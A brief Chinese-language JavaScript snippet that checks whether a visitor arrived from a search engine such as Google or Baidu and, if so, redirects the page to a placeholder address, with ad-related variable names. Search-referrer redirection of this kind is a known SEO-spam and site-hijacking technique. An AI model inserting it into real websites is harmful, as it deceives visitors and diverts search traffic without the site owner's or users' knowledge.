判斷來源網址

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //轉為小寫
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
if(b)
{
self.location = '要跳轉的網址';
window.adworkergo = 'ad_app6';
}
}
</script>